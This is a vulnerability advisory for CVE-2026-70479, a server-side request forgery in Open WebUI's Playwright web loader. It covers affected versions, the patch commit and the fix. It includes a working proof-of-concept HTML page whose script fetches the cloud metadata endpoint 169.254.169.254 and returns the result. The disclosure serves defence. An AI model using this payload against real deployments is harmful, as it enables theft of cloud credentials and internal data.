high · 7.7CVE-2026-70479Aug 4, 2026

CVE-2026-70479: open-webui SSRF via Unvalidated Sub-Resource Requests in Playwright Web Loader

Rohit Hatagale
AI Security Researcher, SecureLayer7

When Open WebUI's Playwright web loader is enabled, any authenticated user can make the browser fetch internal addresses like cloud metadata endpoints by embedding sub-resource requests in a page…

Packageopen-webui
Ecosystempip
Affected>= 0.9.6, < 0.11.0
Fixed in0.11.0
CVE-2026-70479: open-webui SSRF via Unvalidated Sub-Resource Requests in Playwright Web Loader

The problem

Open WebUI's SafePlaywrightURLLoader (in backend/open_webui/retrieval/web/utils.py) intercepted all browser network requests but validated the destination address only for requests whose resource_type was document. Every other type, including xhr, fetch, script, image, and stylesheet, was passed through unvalidated.

This affects any deployment with WEB_LOADER_ENGINE=playwright (not the default). An authenticated user with no admin role can submit a URL for web-search or RAG ingestion. The page that loads can then fire sub-resource requests to any address the browser process can reach, and the resulting DOM, which contains the responses, is returned to the user as normal search or ingestion output.

Proof of concept

A working proof-of-concept for CVE-2026-70479 in open-webui, with the exact payload below.

javascript
<!-- Host this page on any public server, then submit its URL to Open WebUI's web-search or RAG ingestion while WEB_LOADER_ENGINE=playwright -->
<!DOCTYPE html>
<html>
<head><title>SSRF PoC</title></head>
<body>
<div id="out"></div>
<script>
  // Resource type seen by Playwright interceptor: "fetch"
  // The interceptor's early-return fires for type != "document",
  // so this request is never validated and reaches the metadata service.
  fetch('http://169.254.169.254/latest/meta-data/')
    .then(r => r.text())
    .then(t => {
      document.getElementById('out').textContent = t;
    });
</script>
</body>
</html>

The interceptor's first action was to check if request.resource_type != 'document': return (in both sync and async variants), intending to skip validation for non-navigation requests. In practice this meant validation ran only on the one request the attacker did not control; every subsequent request issued by the page's own JavaScript went straight to the network.

The patch (commit bef63a2ae, PR #27526) removes that early-return guard and instead validates every intercepted request regardless of type. It also fetches with redirects disabled, re-validates each redirect hop, and closes two additional escape paths that never entered the interceptor at all: service workers (now blocked via service_workers="block") and WebSocket connections (now handled by a route that never connects upstream).

The CWE is CWE-918 (Server-Side Request Forgery). The read is non-blind: the page's final DOM is returned to the caller through the normal search or ingestion result.

The fix

Upgrade to open-webui 0.11.0. The fix is in commit bef63a2ae915571d50d2722a635e8bfa753d7877 (PR #27526). No configuration change is needed beyond upgrading. Deployments not using WEB_LOADER_ENGINE=playwright were never affected.

Reported by @edwardav970.

References: [1][2][3][4][5]

Related research